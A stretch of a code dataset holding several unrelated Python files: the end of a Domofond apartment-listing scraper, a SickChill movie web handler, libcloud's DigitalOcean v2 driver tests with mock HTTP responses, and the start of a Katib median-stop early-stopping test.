res=get_info_from_json(ref.group(1))\n if res[1]!=\"Error\":\n content.append(res[1])\n else:\n i+=1\n z=np.random.randint(3,10)\n i+=1\n print('{} поток обработал {}/{} '.format(num,index+1,len(pages_part)),flush=True,end=\"\\r\")\n time.sleep(z)\n return content\n\n\n\ndef parsing(pages_divided):\n pool = ThreadPool(4)\n print(\"Начинаю просматривать страницы..\")\n l=pool.map(get_hrefs_and_info,pages_divided)\n print(\"Парсинг окончен.Работаю с данными...\")\n tuples=[]\n for part in l:\n for part_part in part:\n tuples.append(part_part)\n return tuples\n\n\ndef work_with_tuples(tuples):\n LAT=[]\n LON=[]\n ids=[]\n price=[]\n area=[]\n ppm=[]\n floor=[]\n total_floor=[]\n rooms=[]\n material=[]\n distr=[]\n addr=[]\n id_sdf=[]\n pics_hrefs_sdf=[]\n for tup in tuples:\n ids.append(tup[0])\n addr.append(tup[10])\n distr.append(tup[11])\n LAT.append(tup[1])\n LON.append(tup[2])\n material.append(tup[9])\n price.append(tup[3])\n ppm.append(tup[5])\n rooms.append(tup[8])\n floor.append(tup[6])\n total_floor.append(tup[7])\n area.append(tup[4])\n pictures=tup[-1]\n for p in pictures:\n id_sdf.append(tup[0])\n pics_hrefs_sdf.append(p)\n \n df=pd.DataFrame([ids,addr,distr,LAT,LON,material,price,area,ppm,rooms,floor,total_floor]).T\n df.columns=[\"id\",\"Address\",\"District\",\"LAT\",\"LON\",\"Material\",\"Price\",\"Area\",\"Price_per_msq\",\"Rooms\",\"Floor\",\"Total_Floors\"]\n df.drop_duplicates(\"id\",inplace=True)\n df.id=df.id.astype(\"int64\")\n df.LAT=df.LAT.astype(\"float\")\n df.LON=df.LON.astype(\"float\")\n df.Price=df.Price.astype(\"float\")\n df.Price_per_msq=df.Price_per_msq.astype(\"float\")\n df.Floor=df.Floor.astype(\"int\")\n df.Total_Floors=df.Total_Floors.astype(\"int\")\n df_wp=pd.DataFrame([id_sdf,pics_hrefs_sdf]).T\n df_wp.columns=[\"id\",\"pic_href\"]\n df_wp.drop_duplicates(\"pic_href\",inplace=True,ignore_index=True)\n df_wp.to_excel(Pics_Path.format(dt.now().strftime(\"%d-%m-%Y__%H-%M\")),index=False)\n return df\n\n\n\n\ndef save(df):\n ct=dt.now()\n ct=ct.strftime(\"%d-%m-%Y__%H-%M\")\n print(\"Сохраняем данные...\")\n print(\"Данные на момент {} сохранены!\".format(ct))\n df.to_excel(Path.format(ct),index=False)\n return ct\n\n\n\n\n\ndef Domofond_Parser():\n st=dt.now().strftime(\"%d.%m.%Y__%H:%M\")\n page_divided=get_last_page_and_divide()\n ct=save(work_with_tuples(parsing(page_divided)))\n print(\"Парсинг закончен.Начался:{},а закончился {}\".format(st,ct))\n\n\n\n\n\n\n","repo_name":"timurkanaz/Flat_Offers_Analysis","sub_path":"Domofond_Parsing_Funcs.py","file_name":"Domofond_Parsing_Funcs.py","file_ext":"py","file_size_in_byte":9234,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"13090060058","text":"import logging\n\nfrom sickchill import settings\nfrom sickchill.oldbeard import config\n\nfrom .common import PageTemplate\nfrom .index import WebRoot\n\nlogger = logging.getLogger(\"sickchill.movie\")\n\n\nclass MoviesHandler(WebRoot):\n def _genericMessage(self, subject=None, message=None):\n t = PageTemplate(rh=self, filename=\"genericMessage.mako\")\n return t.render(message=message, subject=subject, topmenu=\"movies\", title=\"\")\n\n def index(self):\n t = PageTemplate(rh=self, filename=\"movies/index.mako\")\n return t.render(title=_(\"Movies\"), header=_(\"Movie List\"), topmenu=\"movies\", movies=settings.movie_list, controller=\"movies\", action=\"index\")\n\n def search(self):\n query = self.get_body_argument(\"query\", \"\")\n year = self.get_body_argument(\"year\", \"\")\n language = self.get_body_argument(\"language\", \"\")\n adult = config.checkbox_to_value(self.get_body_argument(\"adult\", False))\n search_results = []\n if query:\n search_results = settings.movie_list.search_tmdb(query=query, year=year, language=language, adult=adult)\n t = PageTemplate(rh=self, filename=\"movies/search.mako\")\n return t.render(\n title=_(\"Movies\"),\n header=_(\"Movie Search\"),\n topmenu=\"movies\",\n controller=\"movies\",\n action=\"search\",\n search_results=search_results,\n movies=settings.movie_list,\n query=query,\n year=year,\n language=language,\n adult=adult,\n )\n\n def add(self):\n movie = None\n imdb_id = self.get_body_argument(\"imdb\", None)\n if imdb_id:\n movie = settings.movie_list.add_from_imdb(imdb_id=imdb_id)\n tmdb_id = self.get_body_argument(\"tmdb\", None)\n if tmdb_id:\n movie = settings.movie_list.add_from_tmdb(tmdb_id=tmdb_id)\n\n if not movie:\n return self.redirect(self.reverse_url(\"movies-search\", \"search\"))\n\n return self.redirect(self.reverse_url(\"movies-details\", \"details\", movie.slug))\n\n def remove(self):\n pk = self.path_kwargs.get(\"pk\")\n if pk is not None:\n if not settings.movie_list.query.get(pk):\n return self._genericMessage(_(\"Error\"), _(\"Movie not found\"))\n\n settings.movie_list.delete(pk)\n\n t = PageTemplate(rh=self, filename=\"movies/remove.mako\")\n return t.render(title=_(\"Movies\"), header=_(\"Movie Remove\"), topmenu=\"movies\", movies=settings.movie_list, controller=\"movies\", action=\"remove\")\n\n def details(self):\n movie = settings.movie_list.by_slug(self.path_kwargs.get(\"slug\"))\n if not movie:\n return self._genericMessage(_(\"Error\"), _(\"Movie not found\"))\n\n t = PageTemplate(rh=self, filename=\"movies/details.mako\")\n return t.render(title=_(\"Movies\"), header=_(\"Movie Remove\"), topmenu=\"movies\", controller=\"movies\", action=\"details\", movie=movie, movie_message=None)\n","repo_name":"SickChill/sickchill","sub_path":"sickchill/views/movies.py","file_name":"movies.py","file_ext":"py","file_size_in_byte":2975,"program_lang":"python","lang":"en","doc_type":"code","stars":2371,"dataset":"github-code","pt":"37"} +{"seq_id":"23694561852","text":"import sys\nimport unittest\nfrom datetime import datetime\n\nfrom libcloud.test import MockHttp, LibcloudTestCase\nfrom libcloud.utils.py3 import httplib, assertRaisesRegex\nfrom libcloud.common.types import InvalidCredsError\nfrom libcloud.compute.base import NodeImage\nfrom libcloud.test.secrets import DIGITALOCEAN_v1_PARAMS, DIGITALOCEAN_v2_PARAMS\nfrom libcloud.utils.iso8601 import UTC\nfrom libcloud.test.file_fixtures import ComputeFileFixtures\nfrom libcloud.common.digitalocean import DigitalOcean_v1_Error\nfrom libcloud.compute.drivers.digitalocean import DigitalOceanNodeDriver\n\ntry:\n import simplejson as json\nexcept ImportError:\n import json # NOQA\n\n\n# class DigitalOceanTests(unittest.TestCase, TestCaseMixin):\nclass DigitalOcean_v2_Tests(LibcloudTestCase):\n def setUp(self):\n DigitalOceanNodeDriver.connectionCls.conn_class = DigitalOceanMockHttp\n DigitalOceanMockHttp.type = None\n self.driver = DigitalOceanNodeDriver(*DIGITALOCEAN_v2_PARAMS)\n\n def test_v1_Error(self):\n self.assertRaises(\n DigitalOcean_v1_Error,\n DigitalOceanNodeDriver,\n *DIGITALOCEAN_v1_PARAMS,\n api_version=\"v1\",\n )\n\n def test_v2_uses_v1_key(self):\n self.assertRaises(\n InvalidCredsError,\n DigitalOceanNodeDriver,\n *DIGITALOCEAN_v1_PARAMS,\n api_version=\"v2\",\n )\n\n def test_authentication(self):\n DigitalOceanMockHttp.type = \"UNAUTHORIZED\"\n self.assertRaises(InvalidCredsError, self.driver.list_nodes)\n\n def test_list_images_success(self):\n images = self.driver.list_images()\n self.assertTrue(len(images) >= 1)\n\n image = images[0]\n self.assertTrue(image.id is not None)\n self.assertTrue(image.name is not None)\n\n def test_list_sizes_success(self):\n sizes = self.driver.list_sizes()\n self.assertTrue(len(sizes) >= 1)\n\n size = sizes[0]\n self.assertTrue(size.id is not None)\n self.assertEqual(size.name, \"512mb\")\n self.assertEqual(size.ram, 512)\n\n size = sizes[1]\n self.assertTrue(size.id is not None)\n self.assertEqual(size.name, \"1gb\")\n self.assertEqual(size.ram, 1024)\n\n def test_list_sizes_filter_by_location_success(self):\n location = self.driver.list_locations()[1]\n sizes = self.driver.list_sizes(location=location)\n self.assertTrue(len(sizes) >= 1)\n\n size = sizes[0]\n self.assertTrue(size.id is not None)\n self.assertEqual(size.name, \"512mb\")\n self.assertTrue(location.id in size.extra[\"regions\"])\n\n location = self.driver.list_locations()[1]\n location.id = \"doesntexist\"\n sizes = self.driver.list_sizes(location=location)\n self.assertEqual(len(sizes), 0)\n\n def test_list_locations_success(self):\n locations = self.driver.list_locations()\n self.assertTrue(len(locations) == 2)\n\n location = locations[0]\n self.assertEqual(location.id, \"nyc1\")\n self.assertEqual(location.name, \"New York 1\")\n\n locations = self.driver.list_locations(ex_available=True)\n self.assertTrue(len(locations) == 2)\n\n locations = self.driver.list_locations(ex_available=False)\n self.assertTrue(len(locations) == 3)\n\n def test_list_nodes_success(self):\n nodes = self.driver.list_nodes()\n self.assertEqual(len(nodes), 1)\n self.assertEqual(nodes[0].name, \"ubuntu-s-1vcpu-1gb-sfo3-01\")\n self.assertEqual(nodes[0].public_ips, [\"128.199.13.158\"])\n self.assertEqual(nodes[0].extra[\"image\"][\"id\"], 69463186)\n self.assertEqual(nodes[0].extra[\"size_slug\"], \"s-1vcpu-1gb\")\n self.assertEqual(len(nodes[0].extra[\"tags\"]), 0)\n\n def test_list_nodes_fills_created_datetime(self):\n nodes = self.driver.list_nodes()\n self.assertEqual(nodes[0].created_at, datetime(2020, 10, 15, 13, 58, 22, tzinfo=UTC))\n\n def test_create_node_invalid_size(self):\n image = NodeImage(id=\"invalid\", name=None, driver=self.driver)\n size = self.driver.list_sizes()[0]\n location = self.driver.list_locations()[0]\n\n DigitalOceanMockHttp.type = \"INVALID_IMAGE\"\n expected_msg = (\n r\"You specified an invalid image for Droplet creation.\"\n + r\" \\(code: (404|HTTPStatus.NOT_FOUND)\\)\"\n )\n assertRaisesRegex(\n self,\n Exception,\n expected_msg,\n self.driver.create_node,\n name=\"test\",\n size=size,\n image=image,\n location=location,\n )\n\n def test_reboot_node_success(self):\n node = self.driver.list_nodes()[0]\n DigitalOceanMockHttp.type = \"REBOOT\"\n result = self.driver.reboot_node(node)\n self.assertTrue(result)\n\n def test_create_image_success(self):\n node = self.driver.list_nodes()[0]\n DigitalOceanMockHttp.type = \"SNAPSHOT\"\n result = self.driver.create_image(node, \"My snapshot\")\n self.assertTrue(result)\n\n def test_get_image_success(self):\n image = self.driver.get_image(12345)\n self.assertEqual(image.name, \"My snapshot\")\n self.assertEqual(image.id, \"12345\")\n self.assertEqual(image.extra[\"distribution\"], \"Ubuntu\")\n\n def test_delete_image_success(self):\n image = self.driver.get_image(12345)\n DigitalOceanMockHttp.type = \"DESTROY\"\n result = self.driver.delete_image(image)\n self.assertTrue(result)\n\n def test_ex_power_on_node_success(self):\n node = self.driver.list_nodes()[0]\n DigitalOceanMockHttp.type = \"POWERON\"\n result = self.driver.ex_power_on_node(node)\n self.assertTrue(result)\n\n def test_ex_shutdown_node_success(self):\n node = self.driver.list_nodes()[0]\n DigitalOceanMockHttp.type = \"SHUTDOWN\"\n result = self.driver.ex_shutdown_node(node)\n self.assertTrue(result)\n\n def test_ex_hard_reboot_success(self):\n node = self.driver.list_nodes()[0]\n DigitalOceanMockHttp.type = \"POWERCYCLE\"\n result = self.driver.ex_hard_reboot(node)\n self.assertTrue(result)\n\n def test_ex_rebuild_node_success(self):\n node = self.driver.list_nodes()[0]\n DigitalOceanMockHttp.type = \"REBUILD\"\n result = self.driver.ex_rebuild_node(node)\n self.assertTrue(result)\n\n def test_ex_resize_node_success(self):\n node = self.driver.list_nodes()[0]\n size = self.driver.list_sizes()[0]\n DigitalOceanMockHttp.type = \"RESIZE\"\n result = self.driver.ex_resize_node(node, size)\n self.assertTrue(result)\n\n def test_destroy_node_success(self):\n node = self.driver.list_nodes()[0]\n DigitalOceanMockHttp.type = \"DESTROY\"\n result = self.driver.destroy_node(node)\n self.assertTrue(result)\n\n def test_ex_change_kernel_success(self):\n node = self.driver.list_nodes()[0]\n DigitalOceanMockHttp.type = \"KERNELCHANGE\"\n result = self.driver.ex_change_kernel(node, 7515)\n self.assertTrue(result)\n\n def test_ex_enable_ipv6_success(self):\n node = self.driver.list_nodes()[0]\n DigitalOceanMockHttp.type = \"ENABLEIPV6\"\n result = self.driver.ex_enable_ipv6(node)\n self.assertTrue(result)\n\n def test_ex_rename_node_success(self):\n node = self.driver.list_nodes()[0]\n DigitalOceanMockHttp.type = \"RENAME\"\n result = self.driver.ex_rename_node(node, \"fedora helios\")\n self.assertTrue(result)\n\n def test_list_key_pairs(self):\n keys = self.driver.list_key_pairs()\n self.assertEqual(len(keys), 1)\n self.assertEqual(keys[0].extra[\"id\"], 7717)\n self.assertEqual(keys[0].name, \"test1\")\n self.assertEqual(keys[0].public_key, \"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAAAQQDGk5 example\")\n\n def test_create_key_pair(self):\n DigitalOceanMockHttp.type = \"CREATE\"\n key = self.driver.create_key_pair(\n name=\"test1\", public_key=\"ssh-rsa AAAAB3NzaC1yc2EAAAADAQsxRiUKn example\"\n )\n self.assertEqual(key.name, \"test1\")\n self.assertEqual(key.fingerprint, \"f5:d1:78:ed:28:72:5f:e1:ac:94:fd:1f:e0:a3:48:6d\")\n\n def test_delete_key_pair(self):\n key = self.driver.list_key_pairs()[0]\n result = self.driver.delete_key_pair(key)\n self.assertTrue(result)\n\n def test__paginated_request_single_page(self):\n nodes = self.driver._paginated_request(\"/v2/droplets\", \"droplets\")\n self.assertEqual(nodes[0][\"name\"], \"ubuntu-s-1vcpu-1gb-sfo3-01\")\n self.assertEqual(nodes[0][\"image\"][\"id\"], 69463186)\n self.assertEqual(nodes[0][\"size_slug\"], \"s-1vcpu-1gb\")\n\n def test__paginated_request_two_pages(self):\n DigitalOceanMockHttp.type = \"PAGE_ONE\"\n nodes = self.driver._paginated_request(\"/v2/droplets\", \"droplets\")\n self.assertEqual(len(nodes), 2)\n\n def test_list_volumes(self):\n volumes = self.driver.list_volumes()\n self.assertEqual(len(volumes), 1)\n volume = volumes[0]\n self.assertEqual(volume.id, \"62766883-2c28-11e6-b8e6-000f53306ae1\")\n self.assertEqual(volume.name, \"example\")\n self.assertEqual(volume.size, 4)\n self.assertEqual(volume.driver, self.driver)\n\n def test_list_volumes_empty(self):\n DigitalOceanMockHttp.type = \"EMPTY\"\n volumes = self.driver.list_volumes()\n self.assertEqual(len(volumes), 0)\n\n def test_create_volume(self):\n nyc1 = [r for r in self.driver.list_locations() if r.id == \"nyc1\"][0]\n DigitalOceanMockHttp.type = \"CREATE\"\n volume = self.driver.create_volume(4, \"example\", nyc1)\n self.assertEqual(volume.id, \"62766883-2c28-11e6-b8e6-000f53306ae1\")\n self.assertEqual(volume.name, \"example\")\n self.assertEqual(volume.size, 4)\n self.assertEqual(volume.driver, self.driver)\n\n def test_attach_volume(self):\n node = self.driver.list_nodes()[0]\n volume = self.driver.list_volumes()[0]\n DigitalOceanMockHttp.type = \"ATTACH\"\n resp = self.driver.attach_volume(node, volume)\n self.assertTrue(resp)\n\n def test_detach_volume(self):\n volume = self.driver.list_volumes()[0]\n DigitalOceanMockHttp.type = \"DETACH\"\n resp = self.driver.detach_volume(volume)\n self.assertTrue(resp)\n\n def test_destroy_volume(self):\n volume = self.driver.list_volumes()[0]\n DigitalOceanMockHttp.type = \"DESTROY\"\n resp = self.driver.destroy_volume(volume)\n self.assertTrue(resp)\n\n def test_list_volume_snapshots(self):\n volume = self.driver.list_volumes()[0]\n snapshots = self.driver.list_volume_snapshots(volume)\n self.assertEqual(len(snapshots), 3)\n snapshot1, snapshot2, snapshot3 = snapshots\n self.assertEqual(snapshot1.id, \"c0def940-9324-11e6-9a56-000f533176b1\")\n self.assertEqual(snapshot2.id, \"c2036724-9343-11e6-aef4-000f53315a41\")\n self.assertEqual(snapshot3.id, \"d347e033-9343-11e6-9a56-000f533176b1\")\n\n def test_create_volume_snapshot(self):\n volume = self.driver.list_volumes()[0]\n DigitalOceanMockHttp.type = \"CREATE\"\n snapshot = self.driver.create_volume_snapshot(volume, \"test-snapshot\")\n self.assertEqual(snapshot.id, \"c0def940-9324-11e6-9a56-000f533176b1\")\n self.assertEqual(snapshot.name, \"test-snapshot\")\n self.assertEqual(volume.driver, self.driver)\n\n def test_delete_volume_snapshot(self):\n volume = self.driver.list_volumes()[0]\n snapshot = self.driver.list_volume_snapshots(volume)[0]\n DigitalOceanMockHttp.type = \"DELETE\"\n result = self.driver.delete_volume_snapshot(snapshot)\n self.assertTrue(result)\n\n def test_ex_get_node_details(self):\n node = self.driver.ex_get_node_details(\"3164444\")\n self.assertEqual(node.name, \"example.com\")\n self.assertEqual(node.public_ips, [\"36.123.0.123\"])\n self.assertEqual(node.extra[\"image\"][\"id\"], 12089443)\n self.assertEqual(node.extra[\"size_slug\"], \"8gb\")\n self.assertEqual(len(node.extra[\"tags\"]), 2)\n\n def test_ex_create_floating_ip(self):\n nyc1 = [r for r in self.driver.list_locations() if r.id == \"nyc1\"][0]\n floating_ip = self.driver.ex_create_floating_ip(nyc1)\n\n # Note that this is the ID. There is no real ID for a floating IP at\n # DigitalOcean, but the IP is unique so we can use that instead.\n self.assertEqual(floating_ip.id, \"167.138.123.111\")\n self.assertEqual(floating_ip.ip_address, \"167.138.123.111\")\n self.assertEqual(floating_ip.extra[\"region\"][\"slug\"], \"nyc1\")\n # The newly created floating IP reserved to a region is not\n # associated with any droplet. See the DigitalOcean API docs\n # how to create a floating IP that is associated with an instance\n # from the start. This API call creates an unattached IP.\n self.assertIsNone(floating_ip.node_id)\n\n def test_ex_delete_floating_ip(self):\n nyc1 = [r for r in self.driver.list_locations() if r.id == \"nyc1\"][0]\n floating_ip = self.driver.ex_create_floating_ip(nyc1)\n ret = self.driver.ex_delete_floating_ip(floating_ip)\n\n # The API returns 204 NO CONTENT if all is well.\n self.assertTrue(ret)\n\n def test_floating_ip_can_be_deleted_by_calling_delete_on_floating_ip_object(\n self,\n ): # noqa: E501\n nyc1 = [r for r in self.driver.list_locations() if r.id == \"nyc1\"][0]\n floating_ip = self.driver.ex_create_floating_ip(nyc1)\n ret = floating_ip.delete()\n\n self.assertTrue(ret)\n\n def test_list_floating_ips(self):\n floating_ips = self.driver.ex_list_floating_ips()\n\n self.assertEqual(len(floating_ips), 2, \"Wrong floating IPs count\")\n\n floating_ip = floating_ips[0]\n self.assertEqual(floating_ip.id, \"133.166.122.204\")\n self.assertEqual(floating_ip.ip_address, \"133.166.122.204\")\n self.assertEqual(floating_ip.extra[\"region\"][\"slug\"], \"ams3\")\n self.assertEqual(84155775, floating_ip.node_id)\n\n def test_get_floating_ip(self):\n floating_ip = self.driver.ex_get_floating_ip(\"133.166.122.204\")\n\n self.assertEqual(floating_ip.id, \"133.166.122.204\")\n self.assertEqual(floating_ip.ip_address, \"133.166.122.204\")\n self.assertEqual(floating_ip.extra[\"region\"][\"slug\"], \"ams3\")\n self.assertEqual(84155775, floating_ip.node_id)\n\n def test_ex_attach_floating_ip_to_node(self):\n node = self.driver.list_nodes()[0]\n floating_ip = self.driver.ex_get_floating_ip(\"133.166.122.204\")\n\n ret = self.driver.ex_attach_floating_ip_to_node(node, floating_ip)\n\n self.assertTrue(ret)\n\n def test_ex_detach_floating_ip_from_node(self):\n node = self.driver.list_nodes()[0]\n floating_ip = self.driver.ex_get_floating_ip(\"154.138.103.175\")\n\n ret = self.driver.ex_detach_floating_ip_from_node(node, floating_ip)\n\n self.assertTrue(ret)\n\n\nclass DigitalOceanMockHttp(MockHttp):\n fixtures = ComputeFileFixtures(\"digitalocean_v2\")\n\n def _v2_regions(self, method, url, body, headers):\n body = self.fixtures.load(\"list_locations.json\")\n return (httplib.OK, body, {}, httplib.responses[httplib.OK])\n\n def _v2_images(self, method, url, body, headers):\n body = self.fixtures.load(\"list_images.json\")\n return (httplib.OK, body, {}, httplib.responses[httplib.OK])\n\n def _v2_sizes(self, method, url, body, headers):\n body = self.fixtures.load(\"list_sizes.json\")\n return (httplib.OK, body, {}, httplib.responses[httplib.OK])\n\n def _v2_droplets(self, method, url, body, headers):\n body = self.fixtures.load(\"list_nodes.json\")\n return (httplib.OK, body, {}, httplib.responses[httplib.OK])\n\n def _v2_droplets_3164444(self, method, url, body, headers):\n body = self.fixtures.load(\"list_node.json\")\n return (httplib.OK, body, {}, httplib.responses[httplib.OK])\n\n def _v2_droplets_INVALID_IMAGE(self, method, url, body, headers):\n body = self.fixtures.load(\"error_invalid_image.json\")\n return (httplib.NOT_FOUND, body, {}, httplib.responses[httplib.NOT_FOUND])\n\n def _v2_droplets_3164444_actions_REBOOT(self, method, url, body, headers):\n # reboot_node\n body = self.fixtures.load(\"reboot_node.json\")\n return (httplib.CREATED, body, {}, httplib.responses[httplib.CREATED])\n\n def _v2_droplets_3164444_DESTROY(self, method, url, body, headers):\n # destroy_node\n return (httplib.NO_CONTENT, body, {}, httplib.responses[httplib.NO_CONTENT])\n\n def _v2_droplets_3164444_actions_KERNELCHANGE(self, method, url, body, headers):\n # change_kernel\n body = self.fixtures.load(\"ex_change_kernel.json\")\n return (httplib.CREATED, body, {}, httplib.responses[httplib.CREATED])\n\n def _v2_droplets_3164444_actions_ENABLEIPV6(self, method, url, body, headers):\n # enable_ipv6\n body = self.fixtures.load(\"ex_enable_ipv6.json\")\n return (httplib.CREATED, body, {}, httplib.responses[httplib.CREATED])\n\n def _v2_droplets_3164444_actions_RENAME(self, method, url, body, headers):\n # rename_node\n body = self.fixtures.load(\"ex_rename_node.json\")\n return (httplib.CREATED, body, {}, httplib.responses[httplib.CREATED])\n\n def _v2_droplets_3164444_actions_SNAPSHOT(self, method, url, body, headers):\n # create_image\n body = self.fixtures.load(\"create_image.json\")\n return (httplib.CREATED, body, {}, httplib.responses[httplib.CREATED])\n\n def _v2_images_12345(self, method, url, body, headers):\n # get_image\n body = self.fixtures.load(\"get_image.json\")\n return (httplib.OK, body, {}, httplib.responses[httplib.OK])\n\n def _v2_images_12345_DESTROY(self, method, url, body, headers):\n # delete_image\n return (httplib.NO_CONTENT, body, {}, httplib.responses[httplib.NO_CONTENT])\n\n def _v2_droplets_3164444_actions_POWERON(self, method, url, body, headers):\n # ex_power_on_node\n body = self.fixtures.load(\"ex_power_on_node.json\")\n return (httplib.CREATED, body, {}, httplib.responses[httplib.CREATED])\n\n def _v2_droplets_3164444_actions_SHUTDOWN(self, method, url, body, headers):\n # ex_shutdown_node\n body = self.fixtures.load(\"ex_shutdown_node.json\")\n return (httplib.CREATED, body, {}, httplib.responses[httplib.CREATED])\n\n def _v2_droplets_3164444_actions_POWERCYCLE(self, method, url, body, headers):\n # ex_hard_reboot\n body = self.fixtures.load(\"ex_hard_reboot.json\")\n return (httplib.CREATED, body, {}, httplib.responses[httplib.OK])\n\n def _v2_droplets_3164444_actions_REBUILD(self, method, url, body, headers):\n # ex_rebuild_node\n body = self.fixtures.load(\"ex_rebuild_node.json\")\n return (httplib.CREATED, body, {}, httplib.responses[httplib.OK])\n\n def _v2_droplets_3164444_actions_RESIZE(self, method, url, body, headers):\n # ex_resize_node\n body = self.fixtures.load(\"ex_resize_node.json\")\n return (httplib.CREATED, body, {}, httplib.responses[httplib.OK])\n\n def _v2_account_keys(self, method, url, body, headers):\n body = self.fixtures.load(\"list_key_pairs.json\")\n return (httplib.OK, body, {}, httplib.responses[httplib.OK])\n\n def _v2_account_keys_7717(self, method, url, body, headers):\n # destroy_ssh_key\n return (httplib.NO_CONTENT, body, {}, httplib.responses[httplib.NO_CONTENT])\n\n def _v2_account_keys_CREATE(self, method, url, body, headers):\n # create_ssh_key\n body = self.fixtures.load(\"create_key_pair.json\")\n return (httplib.CREATED, body, {}, httplib.responses[httplib.CREATED])\n\n def _v2_droplets_UNAUTHORIZED(self, method, url, body, headers):\n body = self.fixtures.load(\"error.json\")\n return (httplib.UNAUTHORIZED, body, {}, httplib.responses[httplib.UNAUTHORIZED])\n\n def _v2_droplets_PAGE_ONE(self, method, url, body, headers):\n body = self.fixtures.load(\"list_nodes_page_1.json\")\n return (httplib.OK, body, {}, httplib.responses[httplib.OK])\n\n def _v2_volumes(self, method, url, body, headers):\n body = self.fixtures.load(\"list_volumes.json\")\n return (httplib.OK, body, {}, httplib.responses[httplib.OK])\n\n def _v2_volumes_EMPTY(self, method, url, body, headers):\n body = self.fixtures.load(\"list_volumes_empty.json\")\n return (httplib.OK, body, {}, httplib.responses[httplib.OK])\n\n def _v2_volumes_CREATE(self, method, url, body, headers):\n body = self.fixtures.load(\"create_volume.json\")\n return (httplib.CREATED, body, {}, httplib.responses[httplib.CREATED])\n\n def _v2_volumes_actions_ATTACH(self, method, url, body, headers):\n body = self.fixtures.load(\"attach_volume.json\")\n return (httplib.ACCEPTED, body, {}, httplib.responses[httplib.ACCEPTED])\n\n def _v2_volumes_DETACH(self, method, url, body, headers):\n body = self.fixtures.load(\"detach_volume.json\")\n return (httplib.OK, body, {}, httplib.responses[httplib.OK])\n\n def _v2_volumes_62766883_2c28_11e6_b8e6_000f53306ae1_DESTROY(self, method, url, body, headers):\n return (httplib.NO_CONTENT, None, {}, httplib.responses[httplib.NO_CONTENT])\n\n def _v2_volumes_62766883_2c28_11e6_b8e6_000f53306ae1_snapshots_CREATE(\n self, method, url, body, headers\n ):\n body = self.fixtures.load(\"create_volume_snapshot.json\")\n return (httplib.CREATED, body, {}, httplib.responses[httplib.CREATED])\n\n def _v2_volumes_62766883_2c28_11e6_b8e6_000f53306ae1_snapshots(\n self, method, url, body, headers\n ):\n body = self.fixtures.load(\"list_volume_snapshots.json\")\n return (httplib.OK, body, {}, httplib.responses[httplib.OK])\n\n def _v2_snapshots_c0def940_9324_11e6_9a56_000f533176b1_DELETE(self, method, url, body, headers):\n return (httplib.NO_CONTENT, None, {}, httplib.responses[httplib.NO_CONTENT])\n\n def _v2_floating_ips(self, method, url, body, headers):\n if method == \"POST\":\n body = self.fixtures.load(\"create_floating_ip.json\")\n return (httplib.OK, body, {}, httplib.responses[httplib.OK])\n elif method == \"GET\":\n body = self.fixtures.load(\"list_floating_ips.json\")\n return (httplib.OK, body, {}, httplib.responses[httplib.OK])\n else:\n raise NotImplementedError()\n\n def _v2_floating_ips_167_138_123_111(self, method, url, body, headers):\n if method == \"DELETE\":\n body = \"\"\n return (httplib.NO_CONTENT, body, {}, httplib.responses[httplib.NO_CONTENT])\n else:\n raise NotImplementedError()\n\n def _v2_floating_ips_133_166_122_204_actions(self, method, url, body, headers):\n if method == \"POST\":\n body = self.fixtures.load(\"attach_floating_ip.json\")\n return (httplib.CREATED, body, {}, httplib.responses[httplib.CREATED])\n else:\n raise NotImplementedError()\n\n def _v2_floating_ips_154_138_103_175_actions(self, method, url, body, headers):\n if method == \"POST\":\n body = self.fixtures.load(\"detach_floating_ip.json\")\n return (httplib.CREATED, body, {}, httplib.responses[httplib.CREATED])\n else:\n raise NotImplementedError()\n\n\nif __name__ == \"__main__\":\n sys.exit(unittest.main())\n","repo_name":"apache/libcloud","sub_path":"libcloud/test/compute/test_digitalocean_v2.py","file_name":"test_digitalocean_v2.py","file_ext":"py","file_size_in_byte":23444,"program_lang":"python","lang":"en","doc_type":"code","stars":1969,"dataset":"github-code","pt":"37"} +{"seq_id":"73669085868","text":"import grpc\nimport grpc_testing\nimport unittest\nfrom unittest.mock import patch\n\nfrom pkg.apis.manager.v1beta1.python import api_pb2\n\nfrom pkg.earlystopping.v1beta1.medianstop.service import MedianStopService\n\nimport utils\n\n\nclass TestMedianStop(unittest.TestCase):\n def setUp(self):\n # Mock load Kubernetes config.\n patcher = patch('pkg.earlystopping.v1beta1.medianstop.service.config.load_kube_config')\n self.mock_sum = patcher.start()\n self.addCleanup(patcher.stop)\n\n servicers = {\n api_pb2.DESCRIPTOR.services_by_name['EarlyStopping']: MedianStopService(\n )\n }\n\n self.test_server = grpc_testing.server_from_dictionary(\n servicers, grpc_testing.strict_real_time())\n\n def test_validate_early_stopping_settings(self):\n # Valid cases\n early_stopping = api_pb2.EarlyStoppingSpec(\n algorithm_name=\"medianstop\",\n algorithm_settings=[\n api_pb2.EarlyStoppingSetting(\n name=\"min_trials_required\",\n value=\"2\",\n ),\n api_pb2.EarlyStoppingSetting(\n name=\"start_step\",\n value=\"5\",\n ),\n ],\n )\n\n _, _, code, _ = utils.call_validate(self.test_server, early_stopping)\n self.assertEqual(code, grpc.StatusCode.OK)\n\n # Invalid cases\n # Unknown algorithm name\n early_stopping = api_pb2.EarlyStoppingSpec(algorithm_name=\"unknown\")\n\n _, _, code, details = utils.call_validate(self.test_server, early_stopping)\n self.assertEqual(code, grpc.StatusCode.INVALID_ARGUMENT)\n self.assertEqual(details, \"unknown algorithm name unknown\")\n\n # Unknown config name\n early_stopping = api_pb2.EarlyStoppingSpec(\n algorithm_name=\"medianstop\",\n algorithm_settings=[\n api_pb2.EarlyStoppingSetting(\n name=\"unknown_conf\",\n value=\"100\",\n ),\n ],\n )\n\n _, _, code, details = utils.call_validate(self.test_server, early_stopping)\n self.assertEqual(code, grpc.StatusCode.INVALID_ARGUMENT)\n self.assertEqual(details, \"unknown setting unknown_conf for algorithm medianstop\")\n\n # Wrong min_trials_required\n early_stopping = api_pb2.EarlyStoppingSpec(\n algorithm_name=\"medianstop\",\n algorithm_settings=[\n api_pb2.EarlyStoppingSetting(\n name=\"min_trials_required\",\n value=\"0\",\n ),\n ],\n )\n\n _, _, code, details = utils.call_validate(self.test_server, early_stopping)\n self.assertEqual(code, grpc.StatusCode.INVALID_ARGUMENT)\n self.assertEqual(details, \"min_trials_required must be greater than zero (>0)\")\n\n # Wrong start_step\n early_stopping = api_pb2.EarlyStoppingSpec(\n algorithm_name=\"medianstop\",\n algorithm_settings=[\n api_pb2.EarlyStoppingSetting(\n name=\"start_step\",\n value=\"0\",\n ),\n 